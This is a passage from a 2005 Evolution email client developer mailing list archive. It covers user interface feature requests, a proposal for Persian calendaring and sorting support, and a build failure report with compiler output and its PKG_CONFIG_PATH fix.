Not, > > For sure Jon. But on my end I am not so much interested in squashing > > bugs as much as I am in changing the way Evolution works in some of it's ... > Well, since nobody else is ever interested in squashing bugs either, > we're always too busy doing that to ever fix all these minor issues > and far-out feature requests. That makes sense Not. I see what you mean. > It is rather questionable that anybody could understand the code > enough straight off the bat to implement new features effectively > either. I think this is borne out by the fact there ARE so many > outstanding feature requests - if anybody really cared about them, > they'd have written patches. That also makes sense Not. I guess in the final analysis, given that Evolution is open source, that people could take the code, spend a few weeks studying it, and then make changes to it themselves. Something I do hope to do. > > 1. Get rid of the way the Send/Receive box takes over the screen and > > does not allow one to do much of anything in Evolution until AFTER it > > has finished. > I never knew this was a problem. Until I used the gnome window > manager, which forces this behaviour - to me this is very much a > window manager issue, with mine I just iconise it if it gets in the > way, or just move it behind the other windows. You should still be > able to just close the window using the close button, and it will keep > downloading in the background. Hmmm...I hadn't thought of just closing that window. I will try that. Hopefully the mail will continue to download on it's own. I did not realize that this was more a factor of the Gnome window manager forcing this behaviour on users and not so much an Evolution thing. Sorry about that. > Adding stuff to the status bar is a lot harder than it should be > because we're using bonobo, but if you want to try, you're welcome to > it. Its easy, write a patch, and then see if anybody wants it. Hmm...I'll look into that Not. Bonobo eh? I'll have to study up on that. > > 2. Provide the means to be able to run a filter on a folder of emails > > manually. Without having said filter execute on incoming emails or > > outgoing emails only. Right now there is no such mechanism and this is > > quite handy, almost needful, to have to accomodate those who don't want > > all their email filtered until AFTER they have read it all out of their > > inbox. > We used to have this ability - by having a separate set of filters (as > you have 'incoming' and 'outgoing' filters, there was a 'on demand' > list). This was removed years ago. I have no idea why it was > removed, but someone thought it was a good idea to simplify it as it > confused people or something. That's a shame that this was removed. Perhaps years ago it was a rather new feature. One that has now become incorporated in every other MLA that I have used (Eudora, KMail, Outlook Express (I think)). It's quite handy. > > 3. Revamp the way Evolution responds to key presses and otherwise on > > the screen such that a user has a hard time telling what area of the > > screen is in focus and what their key presses will affect. > Well the focus is on the folder tree in that case (as clearly > indicated by the blue selection). So all normal key presses should be > going there. Menu accelerators are global however. I don't think it's that plain and clear cut Not. Even today I found myself occasionally hitting the down arrow key hoping to go to the next unread message only to find myself going to the next folder instead. Very frustrating. I've been using Evolution for going on a week lots by now and I still don't have it straight. Thing is Evolution itself isn't consistent in this. The blue highlight might be over a folder. I press "." to go to the first unread message in the folder and it takes me there. Then I use arrow keys to go to the next message. While the blue highlight is still back in the folder pane. This is just downright confusing. I did discover that the expired highlight bar which is a drab color brownish thing IS a gnome specific thing and not an Evolution thing. It's just that I first noticed this in Evolution but it's a gnome thing. So I guess I am stuck with that silly expired highlight bar unless I want to hack into Gnome (no thanks). > > 4. Change the little, itty bitty check boxes Enabling the checking of > > email from the various accounts one has, to more standard check boxes > > that are more seen to be that. > As far as I'm aware, we're just using standard gtktreeview checkboxes > here. That would be a gtk+ issue quite beyond our control. The same > checkboxes are used for enabling calendars. Yeah I found out that's also a gnome thing. Very silly looking mini checkboxes if you ask me. I mean they're cute little things and all but quite disfunctional in not being like any more normal check box. > Well, we have quality standards that must be met. But that isn't the > problem usually. Generally any ui changes require input from the 'ui > team', which are often too apathetic or too busy to bother responding > for input, That's not good. > and the code reviewers are not allowed to make ui changes without > their input. The developers are not always able to have the last > word, so the process falters because of management issues. Ain't that the way it usually is? :) That's the kind of issue that I don't particularly want to mess with so it seems best for me to just make the changes on my own for me and my clients, submit those changes and make them available to all, but don't fight for any particular change to be incorporated. It sounds like doing so would just be an exercise in frustration. The only thing I have to figure out is how to make my changes applicable to my own situation after every update of evolution. That might get tricky. Maybe my whole desire to change a few things is nutty :). I don't. I'll think about this some more before I go changing anything. > There are too many bugs to fix to keep the two mail developers busy > for years to come, before you add any new features on top of that. Hmm...I see. > > Again my apologies if my impressions are way off but please take into > > account that I am feeling my way around all this for the first time with > > Evolution. > > It just sounds like you want to take the evolution code and change it > for your needs without consideration for existing users or development > process or long-term plans. Well it's not that I want to make changes without considering the long term plans Not. It's that I don't want to take the time to fight for changes if the Evolution ui people are, as you say, not around much for feedback and the developers don't have a choice, why bother? It'd be easier for me to just work my own ui and coding changes on the side for just me and my clients. I wouldn't mind at all getting involved more in helping out if I had more of a hope that my efforts might lead to something constructive as opposed to being swallowed up in a sea of management issues or the like. I hope that makes sense. Incidentally just so you know I think the work that has been done so far to make Evolution what it is, is absolutely mindboggling! In a good sense. I mean it boggles my mind that open source software can be as good if not better than commercially produced software in the spheres where it is found. Carlos From ar_shameli@yahoo.com Thu Feb 24 09:25:33 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id ADF7F1247E7; Thu, 24 Feb 2005 09:25:32 -0500 (EST) Received: from web14306.mail.yahoo.com (web14306.mail.yahoo.com [216.136.173.82]) by lists.ximian.com (Postfix) with SMTP id 71E6A1242E1 for ; Thu, 24 Feb 2005 09:25:19 -0500 (EST) Received: (qmail 59693 invoked by uid 60001); 24 Feb 2005 14:25:18 -0000 Comment: DomainKeys? See http://antispam.yahoo.com/domainkeys DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=s1024; d=yahoo.com; b=YJ5KXmysZvitl1hpiftNU3b/rbcefSYR1kzXM6RG4PvzW9KpL3D8l6G2EvOiXwLpHmTbYN2/bi0ZIyrfwHDgz3758EuSJHG2g0z5+ukt0mgSsF1eAPkQUKvMtfkXnOa7T89FzYxk33Vkj20jZZmwiyvoQCfIP04Fv2bs2m5v8rE= ; Message-ID: <20050224142518.59691.qmail@web14306.mail.yahoo.com> Received: from [80.191.2.22] by web14306.mail.yahoo.com via HTTP; Thu, 24 Feb 2005 06:25:18 PST Date: Thu, 24 Feb 2005 06:25:18 -0800 (PST) From: Ali Shameli To: evolution-hackers@lists.ximian.com MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Status: No, hits=0.4 required=5.0 tests=BAYES_01,RCVD_IN_ORBS,RCVD_IN_OSIRUSOFT_COM version=2.53 X-Spam-Level: X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp) Subject: [Evolution-hackers] multi-calendaring and multi-sorting Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: Persian localization in evolution. We have been working on Evolution code for months. Our goal is to add multi calendaring and multi language sorting support to Evolution. We wrote a lightweight library to use multi calendaring in systems like Evolution. First patch for adding multi calendaring support will be sent in near feature. There were two suitable solution to add multi language sorting: * hacking the evolution code, like addressbook module in order to display characters ( Non-latin) in correct order. * using a multi language sort library (which allows us to switch between different languages) Please guide us to choose the most suitable way. __________________________________ Do you Yahoo!? Yahoo! Mail - You care about security. So do we. http://promotions.yahoo.com/new_mail From spamfrommailing@freax.org Mon Feb 28 04:07:36 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id 8BE8E1244C5; Mon, 28 Feb 2005 04:07:36 -0500 (EST) Received: from erebus.freax.org (erebus.freax.org [217.22.59.35]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (Client did not present a certificate) by lists.ximian.com (Postfix) with ESMTP id 7C715124452 for ; Mon, 28 Feb 2005 04:07:24 -0500 (EST) Received: from localhost (localhost [127.0.0.1]) by erebus.freax.org (Postfix) with ESMTP id 0697B139420A for ; Mon, 28 Feb 2005 10:07:18 +0100 (CET) Received: from erebus.freax.org ([127.0.0.1]) by localhost (erebus [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id 03546-06 for ; Mon, 28 Feb 2005 10:07:10 +0100 (CET) Received: from [192.168.0.129] (cvs.maia-scientific.com [213.193.139.10]) (using SSLv3 with cipher RC4-MD5 (128/128 bits)) (No client certificate requested) by erebus.freax.org (Postfix) with ESMTP id 87BF21394115 for ; Mon, 28 Feb 2005 10:07:10 +0100 (CET) From: Philip Van Hoof Reply-To: spamfrommailing@freax.org To: evolution-hackers@lists.ximian.com Content-Type: multipart/alternative; boundary="=-7YKSWC/pz6Gx5HS8IBFo" Date: Mon, 28 Feb 2005 10:07:10 +0100 Message-Id: <1109581630.9416.8.camel@localhost.localdomain> Mime-Version: 1.0 X-Mailer: Evolution 2.1.5 X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at erebus.freax.org X-Spam-Status: Yes, hits=6.4 required=5.0 tests=FORGOTTEN_PASSWORD,RCVD_IN_ORBS,RCVD_IN_OSIRUSOFT_COM version=2.53 X-Spam-Level: ****** X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp) X-Spam-Report: X-Spam-Flag: YES Subject: [Evolution-hackers] Current CVS failes to build (e_passwords_forget_passwords and libedataserverui/e-passwords.h) Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: --=-7YKSWC/pz6Gx5HS8IBFo Content-Type: text/plain Content-Transfer-Encoding: 7bit Note: e-d-s, here, is also updated and on non-anoncvs freax@lort:~/cvs/gnome/evolution/shell $ cvs update -d cvs server: Updating . cvs server: Updating glade cvs server: Updating idl cvs server: Updating importer freax@lort:~/cvs/gnome/evolution/shell $ make make all-recursive make[1]: Entering directory `/home/freax/cvs/gnome/evolution/shell' Making all in importer make[2]: Entering directory `/home/freax/cvs/gnome/evolution/shell/importer' make all-am make[3]: Entering directory `/home/freax/cvs/gnome/evolution/shell/importer' make[3]: Nothing to be done for `all-am'. make[3]: Leaving directory `/home/freax/cvs/gnome/evolution/shell/importer' make[2]: Leaving directory `/home/freax/cvs/gnome/evolution/shell/importer' make[2]: Entering directory `/home/freax/cvs/gnome/evolution/shell' source='e-shell-window-commands.c' object='e-shell-window-commands.o' libtool=no \ depfile='.deps/e-shell-window-commands.Po' tmpdepfile='.deps/e-shell-window-commands.TPo' \ depmode=gcc3 /bin/sh ../depcomp \ gcc -DHAVE_CONFIG_H -I. -I. -I.. -I../widgets -I../widgets/misc -I.. -DEVOLUTION_IMAGES=\""/opt/evo//share/evolution/2.2/images"\" -DEVOLUTION_LOCALEDIR=\""/opt/evo//share/locale"\" -DEVOLUTION_DATADIR= \""/opt/evo//share"\" -DEVOLUTION_GLADEDIR= \""/opt/evo//share/evolution/2.2/glade"\" -DEVOLUTION_HELPDIR= \""/opt/evo//share/evolution/2.2/help"\" -DEVOLUTION_UIDIR= \""/opt/evo//share/evolution/2.2/ui"\" -DEVOLUTION_TOOLSDIR= \""/opt/evo//libexec/evolution/2.2"\" -DPREFIX=\""/opt/evo/"\" -DSYSCONFDIR=\""/opt/evo//etc"\" -DDATADIR=\""/opt/evo//share"\" -DLIBDIR=\""/opt/evo//share"\" -DG_LOG_DOMAIN=\"evolution-shell\" -DORBIT2=1 -pthread -I/usr/include/evolution-data-server-1.2 -I/usr/include/libgnome-2.0 -I/usr/include/libbonobo-2.0 -I/usr/include/glib-2.0 -I/usr/lib/glib-2.0/include -I/usr/include/orbit-2.0 -I/usr/include/gconf/2 -I/usr/include/gnome-vfs-2.0 -I/usr/lib/gnome-vfs-2.0/include -I/usr/include/bonobo-activation-2.0 -I/usr/include/libxml2 -DORBIT2=1 -pthread -DXTHREADS -I/usr/include/glib-2.0 -I/usr/lib/glib-2.0/include -I/usr/include/libbonoboui-2.0 -I/usr/include/orbit-2.0 -I/usr/include/libxml2 -I/usr/include/libbonobo-2.0 -I/usr/include/libgnomecanvas-2.0 -I/usr/include/libgnome-2.0 -I/usr/include/bonobo-activation-2.0 -I/usr/include/libart-2.0 -I/usr/include/pango-1.0 -I/usr/include/freetype2 -I/usr/include/gtk-2.0 -I/usr/lib/gtk-2.0/include -I/usr/X11R6/include -I/usr/include/atk-1.0 -I/usr/include/gconf/2 -I/usr/include/gnome-vfs-2.0 -I/usr/lib/gnome-vfs-2.0/include -I/usr/include/libgnomeui-2.0 -I/usr/include/libglade-2.0 -I/usr/include/gal-2.4 -I/usr/include/libgnomeprint-2.2 -DORBIT2=1 -pthread -DXTHREADS -I/usr/include/libgnome-2.0 -I/usr/include/glib-2.0 -I/usr/lib/glib-2.0/include -I/usr/include/orbit-2.0 -I/usr/include/libbonobo-2.0 -I/usr/include/gconf/2 -I/usr/include/gnome-vfs-2.0 -I/usr/lib/gnome-vfs-2.0/include -I/usr/include/bonobo-activation-2.0 -I/usr/include/libgnomeui-2.0 -I/usr/include/libgnomecanvas-2.0 -I/usr/include/gtk-2.0 -I/usr/include/libart-2.0 -I/usr/include/libbonoboui-2.0 -I/usr/include/pango-1.0 -I/usr/include/freetype2 -I/usr/lib/gtk-2.0/include -I/usr/X11R6/include -I/usr/include/atk-1.0 -I/usr/include/libxml2 -I/usr/include/gal-2.4 -I/usr/include/libglade-2.0 -I/usr/include/libgnomeprint-2.2 -I/usr/include/libgtkhtml-3.6 -I/usr/include/libgnomeprintui-2.2 -DORBIT2=1 -pthread -DXTHREADS -I/usr/include/libgnome-2.0 -I/usr/include/glib-2.0 -I/usr/lib/glib-2.0/include -I/usr/include/orbit-2.0 -I/usr/include/libbonobo-2.0 -I/usr/include/gconf/2 -I/usr/include/gnome-vfs-2.0 -I/usr/lib/gnome-vfs-2.0/include -I/usr/include/bonobo-activation-2.0 -I/usr/include/libgnomeui-2.0 -I/usr/include/libgnomecanvas-2.0 -I/usr/include/gtk-2.0 -I/usr/include/libart-2.0 -I/usr/include/libbonoboui-2.0 -I/usr/include/pango-1.0 -I/usr/include/freetype2 -I/usr/lib/gtk-2.0/include -I/usr/X11R6/include -I/usr/include/atk-1.0 -I/usr/include/libxml2 -g -O2 -Wall -Wmissing-prototypes -Wno-sign-compare -c `test -f 'e-shell-window-commands.c' || echo './'`e-shell-window-commands.c e-shell-window-commands.c:50:42: libedataserverui/e-passwords.h: No such file or directory e-shell-window-commands.c: In function `command_forget_passwords': e-shell-window-commands.c:572: warning: implicit declaration of function `e_passwords_forget_passwords' e-shell-window-commands.c: At top level: e-shell-window-commands.c:479: warning: `command_help_faq' defined but not used make[2]: *** [e-shell-window-commands.o] Error 1 make[2]: Leaving directory `/home/freax/cvs/gnome/evolution/shell' make[1]: *** [all-recursive] Error 1 make[1]: Leaving directory `/home/freax/cvs/gnome/evolution/shell' make: *** [all] Error 2 freax@lort:~/cvs/gnome/evolution/shell $ -- Philip Van Hoof, Software Developer @ Cronos home: me at freax dot org gnome: pvanhoof at gnome dot org work: philip dot vanhoof at cronos dot be junk: philip dot vanhoof at gmail dot com http://www.freax.be, http://www.freax.eu.org --=-7YKSWC/pz6Gx5HS8IBFo Content-Type: text/html; charset=utf-8 Content-Transfer-Encoding: quoted-printable
Note: e-d-s, here, is also updated and on non-anoncvs

freax@lort:~/cvs/gnome/evolution/shell $ cvs update -d
cvs server: Updating .
cvs server: Updating glade
cvs server: Updating idl
cvs server: Updating importer
freax@lort:~/cvs/gnome/evolution/shell $ make
make  all-recursive
make[1]: Entering directory `/home/freax/cvs/gnome/evolution/shell'
Making all in importer
make[2]: Entering directory `/home/freax/cvs/gnome/evolution/shell/importer= '
make  all-am
make[3]: Entering directory `/home/freax/cvs/gnome/evolution/shell/importer= '
make[3]: Nothing to be done for `all-am'.
make[3]: Leaving directory `/home/freax/cvs/gnome/evolution/shell/importer'=
make[2]: Leaving directory `/home/freax/cvs/gnome/evolution/shell/importer'=
make[2]: Entering directory `/home/freax/cvs/gnome/evolution/shell'
source=3D'e-shell-window-commands.c' object=3D'e-shell-window-commands.o' l= ibtool=3Dno \
depfile=3D'.deps/e-shell-window-commands.Po' tmpdepfile=3D'.deps/e-shell-wi= ndow-commands.TPo' \
depmode=3Dgcc3 /bin/sh ../depcomp \
gcc -DHAVE_CONFIG_H -I. -I. -I.. -I../widgets -I../widgets/misc -I.. -DEVOL= UTION_IMAGES=3D\""/opt/evo//share/evolution/2.2/images"\&quo= t; -DEVOLUTION_LOCALEDIR=3D\""/opt/evo//share/locale"\"= -DEVOLUTION_DATADIR=3D\""/opt/evo//share"\" -DEVOLUTIO= N_GLADEDIR=3D\""/opt/evo//share/evolution/2.2/glade"\" = -DEVOLUTION_HELPDIR=3D\""/opt/evo//share/evolution/2.2/help"= \" -DEVOLUTION_UIDIR=3D\""/opt/evo//share/evolution/2.2/ui&q= uot;\" -DEVOLUTION_TOOLSDIR=3D\""/opt/evo//libexec/evolution= /2.2"\" -DPREFIX=3D\""/opt/evo/"\" -DSYSCONFD= IR=3D\""/opt/evo//etc"\" -DDATADIR=3D\""/opt/= evo//share"\" -DLIBDIR=3D\""/opt/evo//share"\"= ; -DG_LOG_DOMAIN=3D\"evolution-shell\" -DORBIT2=3D1 -pthread -I/u= sr/include/evolution-data-server-1.2 -I/usr/include/libgnome-2.0 -I/usr/inc= lude/libbonobo-2.0 -I/usr/include/glib-2.0 -I/usr/lib/glib-2.0/include -I/u= sr/include/orbit-2.0 -I/usr/include/gconf/2 -I/usr/include/gnome-vfs-2.0 -I= /usr/lib/gnome-vfs-2.0/include -I/usr/include/bonobo-activation-2.0 -I/usr/= include/libxml2    -DORBIT2=3D1 -pthread -DXTHREADS -I/usr/i= nclude/glib-2.0 -I/usr/lib/glib-2.0/include -I/usr/include/libbonoboui-2.0 = -I/usr/include/orbit-2.0 -I/usr/include/libxml2 -I/usr/include/libbonobo-2.= 0 -I/usr/include/libgnomecanvas-2.0 -I/usr/include/libgnome-2.0 -I/usr/incl= ude/bonobo-activation-2.0 -I/usr/include/libart-2.0 -I/usr/include/pango-1.= 0 -I/usr/include/freetype2 -I/usr/include/gtk-2.0 -I/usr/lib/gtk-2.0/includ= e -I/usr/X11R6/include -I/usr/include/atk-1.0 -I/usr/include/gconf/2 -I/usr= /include/gnome-vfs-2.0 -I/usr/lib/gnome-vfs-2.0/include -I/usr/include/libg= nomeui-2.0 -I/usr/include/libglade-2.0 -I/usr/include/gal-2.4 -I/usr/includ= e/libgnomeprint-2.2     -DORBIT2=3D1 -pthread -DXTHREAD= S -I/usr/include/libgnome-2.0 -I/usr/include/glib-2.0 -I/usr/lib/glib-2.0/i= nclude -I/usr/include/orbit-2.0 -I/usr/include/libbonobo-2.0 -I/usr/include= /gconf/2 -I/usr/include/gnome-vfs-2.0 -I/usr/lib/gnome-vfs-2.0/include -I/u= sr/include/bonobo-activation-2.0 -I/usr/include/libgnomeui-2.0 -I/usr/inclu= de/libgnomecanvas-2.0 -I/usr/include/gtk-2.0 -I/usr/include/libart-2.0 -I/u= sr/include/libbonoboui-2.0 -I/usr/include/pango-1.0 -I/usr/include/freetype= 2 -I/usr/lib/gtk-2.0/include -I/usr/X11R6/include -I/usr/include/atk-1.0 -I= /usr/include/libxml2 -I/usr/include/gal-2.4 -I/usr/include/libglade-2.0 -I/= usr/include/libgnomeprint-2.2 -I/usr/include/libgtkhtml-3.6 -I/usr/include/= libgnomeprintui-2.2     -DORBIT2=3D1 -pthread -DXTHREAD= S -I/usr/include/libgnome-2.0 -I/usr/include/glib-2.0 -I/usr/lib/glib-2.0/i= nclude -I/usr/include/orbit-2.0 -I/usr/include/libbonobo-2.0 -I/usr/include= /gconf/2 -I/usr/include/gnome-vfs-2.0 -I/usr/lib/gnome-vfs-2.0/include -I/u= sr/include/bonobo-activation-2.0 -I/usr/include/libgnomeui-2.0 -I/usr/inclu= de/libgnomecanvas-2.0 -I/usr/include/gtk-2.0 -I/usr/include/libart-2.0 -I/u= sr/include/libbonoboui-2.0 -I/usr/include/pango-1.0 -I/usr/include/freetype= 2 -I/usr/lib/gtk-2.0/include -I/usr/X11R6/include -I/usr/include/atk-1.0 -I= /usr/include/libxml2        -g -O2 -Wall= -Wmissing-prototypes  -Wno-sign-compare -c `test -f 'e-shell-window-c= ommands.c' || echo './'`e-shell-window-commands.c
e-shell-window-commands.c:50:42: libedataserverui/e-passwords.h: No such fi= le or directory
e-shell-window-commands.c: In function `command_forget_passwords':
e-shell-window-commands.c:572: warning: implicit declaration of function `e= _passwords_forget_passwords'
e-shell-window-commands.c: At top level:
e-shell-window-commands.c:479: warning: `command_help_faq' defined but not = used
make[2]: *** [e-shell-window-commands.o] Error 1
make[2]: Leaving directory `/home/freax/cvs/gnome/evolution/shell'
make[1]: *** [all-recursive] Error 1
make[1]: Leaving directory `/home/freax/cvs/gnome/evolution/shell'
make: *** [all] Error 2
freax@lort:~/cvs/gnome/evolution/shell $

--=20
Philip Van Hoof, Software Developer @ Cronos
home: me at freax dot org
gnome: pvanhoof at gnome dot org
work: philip dot vanhoof at cronos dot be
junk: philip dot vanhoof at gmail dot com
http://www.freax.be, http://www.freax.eu.org
--=-7YKSWC/pz6Gx5HS8IBFo-- From spamfrommailing@freax.org Mon Feb 28 04:18:04 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id 85897124551; Mon, 28 Feb 2005 04:18:04 -0500 (EST) Received: from erebus.freax.org (erebus.freax.org [217.22.59.35]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (Client did not present a certificate) by lists.ximian.com (Postfix) with ESMTP id 40E351242DE for ; Mon, 28 Feb 2005 04:17:52 -0500 (EST) Received: from localhost (localhost [127.0.0.1]) by erebus.freax.org (Postfix) with ESMTP id B6F23139420A for ; Mon, 28 Feb 2005 10:17:49 +0100 (CET) Received: from erebus.freax.org ([127.0.0.1]) by localhost (erebus [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id 03550-09 for ; Mon, 28 Feb 2005 10:17:42 +0100 (CET) Received: from [192.168.0.129] (cvs.maia-scientific.com [213.193.139.10]) (using SSLv3 with cipher RC4-MD5 (128/128 bits)) (No client certificate requested) by erebus.freax.org (Postfix) with ESMTP id 490F61394115 for ; Mon, 28 Feb 2005 10:17:42 +0100 (CET) Subject: Re: [Evolution-hackers] Current CVS failes to build (e_passwords_forget_passwords and libedataserverui/e-passwords.h) From: Philip Van Hoof Reply-To: spamfrommailing@freax.org To: evolution-hackers@lists.ximian.com In-Reply-To: <1109581630.9416.8.camel@localhost.localdomain> References: <1109581630.9416.8.camel@localhost.localdomain> Content-Type: multipart/alternative; boundary="=-SIZFLpFWBWPgADGWJNwM" Date: Mon, 28 Feb 2005 10:17:42 +0100 Message-Id: <1109582262.9416.9.camel@localhost.localdomain> Mime-Version: 1.0 X-Mailer: Evolution 2.1.5 X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at erebus.freax.org X-Spam-Status: No, hits=-19.1 required=5.0 tests=EMAIL_ATTRIBUTION,FORGOTTEN_PASSWORD,HTML_10_20,IN_REP_TO, QUOTED_EMAIL_TEXT,QUOTE_TWICE_1,RCVD_IN_ORBS, RCVD_IN_OSIRUSOFT_COM,REFERENCES,REPLY_WITH_QUOTES autolearn=ham version=2.53 X-Spam-Level: X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp) Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: --=-SIZFLpFWBWPgADGWJNwM Content-Type: text/plain Content-Transfer-Encoding: 7bit My own mistake, I forgot to add this to my environment variables :-) PKG_CONFIG_PATH=/opt/evo/lib/pkgconfig/ On Mon, 2005-02-28 at 10:07 +0100, Philip Van Hoof wrote: > > Note: e-d-s, here, is also updated and on non-anoncvs > > freax@lort:~/cvs/gnome/evolution/shell $ cvs update -d > cvs server: Updating . > cvs server: Updating glade > cvs server: Updating idl > cvs server: Updating importer > freax@lort:~/cvs/gnome/evolution/shell $ make > make all-recursive > make[1]: Entering directory `/home/freax/cvs/gnome/evolution/shell' > Making all in importer > make[2]: Entering directory > `/home/freax/cvs/gnome/evolution/shell/importer' > make all-am > make[3]: Entering directory > `/home/freax/cvs/gnome/evolution/shell/importer' > make[3]: Nothing to be done for `all-am'. > make[3]: Leaving directory > `/home/freax/cvs/gnome/evolution/shell/importer' > make[2]: Leaving directory > `/home/freax/cvs/gnome/evolution/shell/importer' > make[2]: Entering directory `/home/freax/cvs/gnome/evolution/shell' > source='e-shell-window-commands.c' object='e-shell-window-commands.o' > libtool=no \ > depfile='.deps/e-shell-window-commands.Po' > tmpdepfile='.deps/e-shell-window-commands.TPo' \ > depmode=gcc3 /bin/sh ../depcomp \ > gcc -DHAVE_CONFIG_H -I. -I. -I.. -I../widgets -I../widgets/misc -I.. > -DEVOLUTION_IMAGES=\""/opt/evo//share/evolution/2.2/images"\" > -DEVOLUTION_LOCALEDIR=\""/opt/evo//share/locale"\" > -DEVOLUTION_DATADIR=\""/opt/evo//share"\" -DEVOLUTION_GLADEDIR= > \""/opt/evo//share/evolution/2.2/glade"\" -DEVOLUTION_HELPDIR= > \""/opt/evo//share/evolution/2.2/help"\" -DEVOLUTION_UIDIR= > \""/opt/evo//share/evolution/2.2/ui"\" -DEVOLUTION_TOOLSDIR= > \""/opt/evo//libexec/evolution/2.2"\" -DPREFIX=\""/opt/evo/"\" > -DSYSCONFDIR=\""/opt/evo//etc"\" -DDATADIR=\""/opt/evo//share"\" > -DLIBDIR=\""/opt/evo//share"\" -DG_LOG_DOMAIN=\"evolution-shell\" > -DORBIT2=1 -pthread -I/usr/include/evolution-data-server-1.2 > -I/usr/include/libgnome-2.0 -I/usr/include/libbonobo-2.0 > -I/usr/include/glib-2.0 -I/usr/lib/glib-2.0/include > -I/usr/include/orbit-2.0 -I/usr/include/gconf/2 > -I/usr/include/gnome-vfs-2.0 -I/usr/lib/gnome-vfs-2.0/include > -I/usr/include/bonobo-activation-2.0 -I/usr/include/libxml2 > -DORBIT2=1 -pthread -DXTHREADS -I/usr/include/glib-2.0 > -I/usr/lib/glib-2.0/include -I/usr/include/libbonoboui-2.0 > -I/usr/include/orbit-2.0 -I/usr/include/libxml2 > -I/usr/include/libbonobo-2.0 -I/usr/include/libgnomecanvas-2.0 > -I/usr/include/libgnome-2.0 -I/usr/include/bonobo-activation-2.0 > -I/usr/include/libart-2.0 -I/usr/include/pango-1.0 > -I/usr/include/freetype2 -I/usr/include/gtk-2.0 > -I/usr/lib/gtk-2.0/include -I/usr/X11R6/include -I/usr/include/atk-1.0 > -I/usr/include/gconf/2 -I/usr/include/gnome-vfs-2.0 > -I/usr/lib/gnome-vfs-2.0/include -I/usr/include/libgnomeui-2.0 > -I/usr/include/libglade-2.0 -I/usr/include/gal-2.4 > -I/usr/include/libgnomeprint-2.2 -DORBIT2=1 -pthread -DXTHREADS > -I/usr/include/libgnome-2.0 -I/usr/include/glib-2.0 > -I/usr/lib/glib-2.0/include -I/usr/include/orbit-2.0 > -I/usr/include/libbonobo-2.0 -I/usr/include/gconf/2 > -I/usr/include/gnome-vfs-2.0 -I/usr/lib/gnome-vfs-2.0/include > -I/usr/include/bonobo-activation-2.0 -I/usr/include/libgnomeui-2.0 > -I/usr/include/libgnomecanvas-2.0 -I/usr/include/gtk-2.0 > -I/usr/include/libart-2.0 -I/usr/include/libbonoboui-2.0 > -I/usr/include/pango-1.0 -I/usr/include/freetype2 > -I/usr/lib/gtk-2.0/include -I/usr/X11R6/include -I/usr/include/atk-1.0 > -I/usr/include/libxml2 -I/usr/include/gal-2.4 > -I/usr/include/libglade-2.0 -I/usr/include/libgnomeprint-2.2 > -I/usr/include/libgtkhtml-3.6 -I/usr/include/libgnomeprintui-2.2 > -DORBIT2=1 -pthread -DXTHREADS -I/usr/include/libgnome-2.0 > -I/usr/include/glib-2.0 -I/usr/lib/glib-2.0/include > -I/usr/include/orbit-2.0 -I/usr/include/libbonobo-2.0 > -I/usr/include/gconf/2 -I/usr/include/gnome-vfs-2.0 > -I/usr/lib/gnome-vfs-2.0/include -I/usr/include/bonobo-activation-2.0 > -I/usr/include/libgnomeui-2.0 -I/usr/include/libgnomecanvas-2.0 > -I/usr/include/gtk-2.0 -I/usr/include/libart-2.0 > -I/usr/include/libbonoboui-2.0 -I/usr/include/pango-1.0 > -I/usr/include/freetype2 -I/usr/lib/gtk-2.0/include > -I/usr/X11R6/include -I/usr/include/atk-1.0 -I/usr/include/libxml2 > -g -O2 -Wall -Wmissing-prototypes -Wno-sign-compare -c `test -f > 'e-shell-window-commands.c' || echo './'`e-shell-window-commands.c > e-shell-window-commands.c:50:42: libedataserverui/e-passwords.h: No > such file or directory > e-shell-window-commands.c: In function `command_forget_passwords': > e-shell-window-commands.c:572: warning: implicit declaration of > function `e_passwords_forget_passwords' > e-shell-window-commands.c: At top level: > e-shell-window-commands.c:479: warning: `command_help_faq' defined but > not used > make[2]: *** [e-shell-window-commands.o] Error 1 > make[2]: Leaving directory `/home/freax/cvs/gnome/evolution/shell' > make[1]: *** [all-recursive] Error 1 > make[1]: Leaving directory `/home/freax/cvs/gnome/evolution/shell' > make: *** [all] Error 2 > freax@lort:~/cvs/gnome/evolution/shell $ > > -- > Philip Van Hoof, Software Developer @ Cronos > home: me at freax dot org > gnome: pvanhoof at gnome dot org > work: philip dot vanhoof at cronos dot be > junk: philip dot vanhoof at gmail dot com > http://www.freax.be, http://www.freax.eu.org -- Philip Van Hoof, Software Developer @ Cronos home: me at freax dot org gnome: pvanhoof at gnome dot org work: philip dot vanhoof at cronos dot be junk: philip dot vanhoof at gmail dot com http://www.freax.be, http://www.freax.eu.org --=-SIZFLpFWBWPgADGWJNwM Content-Type: text/html; charset=utf-8 Content-Transfer-Encoding: quoted-printable
My own mistake, I forgot to add this to my environment variables :-)

PKG_CONFIG_PATH=3D/opt/evo/lib/pkgconfig/

